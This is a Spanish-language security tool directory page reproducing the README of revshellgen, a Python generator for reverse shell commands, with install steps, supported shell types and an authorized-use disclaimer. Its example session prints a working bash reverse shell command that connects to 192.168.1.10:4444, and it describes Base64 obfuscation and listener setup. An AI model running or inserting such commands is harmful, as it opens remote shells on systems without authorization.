Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
revshellgen — Generador de shell reversa escrito en Python 3. | Kitploit
Herramientas/GitHubGitHub/t0thkr1s/revshellgen
Generación de PayloadsExplotaciónPruebas de PenetraciónComando y ControlRed TeamingGeneración de ShellcodeDesarrollo de Payloads
GitHubt0thkr1s/revshellgen

revshellgen

Generador de shell reversa escrito en Python 3.

Ver Repositorio
56594hace 1 añoRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

🚀 RevShellGen

Generador de Reverse Shell

Python License Stars

CI Tests PyPI

Automatiza la generación de reverse shells con estilo
Genera, codifica y captura reverse shells sin complicaciones


Características • Instalación • Uso • Tipos de shells • Contribuir

📖 Acerca de

RevShellGen es una potente herramienta de línea de comandos que simplifica el proceso de generación de comandos reverse shell. Olvídate de buscar sintaxis, de la codificación manual y de los dolores de cabeza de configuración. Esta herramienta lo maneja todo con una interfaz intuitiva.

🎯 Características principales

  • 🖥️ CLI interactiva - Interfaz guiada por menús fácil de usar
  • 🔄 Codificación automática - Soporte para codificación URL y Base64
  • 📋 Integración con portapapeles - Copia automática de comandos generados
  • 🌐 Detección de red - Descubrimiento automático de dirección IP
  • 🎨 Múltiples tipos de shell - Bash, Python, Netcat, PowerShell y más
  • 🔊 Listener integrado - Configuración automática de listener netcat/ncat
  • 🍎 Multiplataforma - Soporte completo para Linux y macOS
  • 📚 Guía de actualización TTY - Instrucciones completas para mejorar la shell

🚀 Inicio rápido

Opción 1: Instalar desde PyPI

root@kitploit:~
# Instalar desde PyPI
pip install revshellgen

# Ejecutar la herramienta
revshellgen

Opción 2: Instalar desde el código fuente

root@kitploit:~
# Clonar el repositorio
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen

# Instalar dependencias
pip3 install -r requirements.txt

# Ejecutar la herramienta
python3 revshellgen.py  # o python3 revshellgen_cli.py

📦 Instalación

Requisitos previos

  • Python 3.6 o superior
  • pip (gestor de paquetes de Python)

Dependencias

RevShellGen requiere los siguientes paquetes de Python:

Métodos de instalación

Método 1: Usando requirements.txt (El más simple)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
Método 2: Usando setup.py (Tradicional)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
Método 3: Entorno virtual (Recomendado para aislamiento)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate  # En Windows: venv\Scripts\activate
pip3 install -r requirements.txt
Método 4: Instalación manual
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
Método 5: Instalación de usuario (sin sudo)
root@kitploit:~
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt

Notas específicas por plataforma

🐧 Linux

root@kitploit:~
# Puede que necesites instalar python3-dev
sudo apt-get install python3-dev  # Debian/Ubuntu
sudo yum install python3-devel     # RHEL/CentOS

🍎 macOS

root@kitploit:~
# Instalar ncat para mejor soporte del listener
brew install nmap  # Incluye ncat

💻 Uso

Flujo de trabajo básico

  1. Inicia la herramienta

    root@kitploit:~
    python3 revshellgen.py
    
  2. Configura tu reverse shell

    • Selecciona tu dirección IP (detectada automáticamente)
    • Elige un puerto (ej. 4444, 9001)
    • Selecciona el tipo de shell (bash, python, etc.)
    • Elige la codificación (ninguna, URL, Base64)
  3. El comando generado se copia automáticamente al portapapeles

  4. Inicia el listener (automático)

  5. Ejecuta el comando en la máquina objetivo

📸 Capturas de pantalla


Selección de shell

Generación de comando

🐚 Tipos de shells compatibles

🔧 Funciones avanzadas

Actualización de shell TTY

RevShellGen ahora incluye instrucciones completas para la actualización de TTY. Después de capturar una shell, la herramienta proporciona:

  • Métodos paso a paso para spawn de PTY
  • Detección y configuración del tamaño del terminal
  • Múltiples técnicas de actualización para diferentes entornos
  • Consejos de solución de problemas para problemas comunes
  • Comandos de referencia rápida

Opciones de codificación

  • Ninguna - Salida del comando sin procesar
  • Codificación URL - Para explotación de aplicaciones web
  • Base64 - Para ofuscación de comandos

Opciones del listener

La herramienta detecta automáticamente y usa la variante de netcat adecuada:

  • ncat (preferido, del paquete nmap)
  • nc (netcat tradicional)
  • Soporte de sintaxis nc específica para macOS

📝 Ejemplo de sesión

root@kitploit:~
$ python3 revshellgen.py

                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/

---------- [ SELECT IP ] ----------
[ x ] 192.168.1.10 on eth0
[   ] 10.0.0.5 on tun0
[   ] Specify manually

---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 4444

---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[   ] unix_python
[   ] unix_nc_mkfifo
...

---------- [ REVERSE SHELL COMMAND ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1

[ + ] Command copied to clipboard!
[ + ] Starting listener on port 4444...

🤝 Contribuir

¡Las contribuciones son bienvenidas! No dudes en enviar un Pull Request. Para cambios importantes, abre primero un issue para discutir lo que te gustaría modificar.

Configuración de desarrollo

root@kitploit:~
# Clona tu fork
git clone https://github.com/TU_USUARIO/revshellgen
cd revshellgen

# Crea una rama
git checkout -b feature/nombre-de-tu-funcionalidad

# Haz tus cambios y confírmalos
git add .
git commit -m "Añade tu funcionalidad"

# Sube a tu fork
git push origin feature/nombre-de-tu-funcionalidad

# Crea un Pull Request

🐛 Problemas y soporte

¿Encontraste un error o tienes una sugerencia? Por favor, abre un issue en GitHub.

📜 Licencia

Este proyecto está licenciado bajo la Licencia Pública General de GNU v3.0 - consulta el archivo LICENSE para más detalles.

⚠️ Aviso legal

Esta herramienta está destinada exclusivamente a pruebas de penetración autorizadas y fines educativos.

El uso de esta herramienta contra sistemas que no posees o para los que no tienes permiso explícito de pruebas es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no se hacen responsables de cualquier uso indebido o daño causado por este programa.

🙏 Agradecimientos

  • PayloadsAllTheThings - Referencias de reverse shell
  • ropnop - Técnicas de actualización TTY
  • PentestMonkey - Cheat sheet de reverse shell
  • Todos los contribuidores y usuarios de esta herramienta

Hecho con ❤️ por t0thkr1s
¡Dale una estrella ⭐ a este repositorio si te resulta útil!
Descargar herramienta
PaquetePropósito
pyperclipOperaciones del portapapeles
coloramaColores en el terminal
readcharEntrada interactiva de teclas
netifacesDetección de interfaces de red
Tipo de shellDescripciónPlataforma
BashReverse shell TCP en BashLinux/Unix
PythonReverse shell basada en PythonMultiplataforma
NetcatReverse shell nc tradicionalLinux/Unix
Netcat mkfifoNetcat con tubería con nombreLinux/Unix
PerlReverse shell basada en PerlMultiplataforma
PHPReverse shell PHPMultiplataforma
RubyReverse shell basada en RubyMultiplataforma
JavaReverse shell JavaMultiplataforma
AWKReverse shell AWKLinux/Unix
SocatReverse shell SocatLinux/Unix
Socat TTYSocat con TTY completoLinux/Unix
TelnetReverse shell TelnetLinux/Unix
PowerShellWindows PowerShellWindows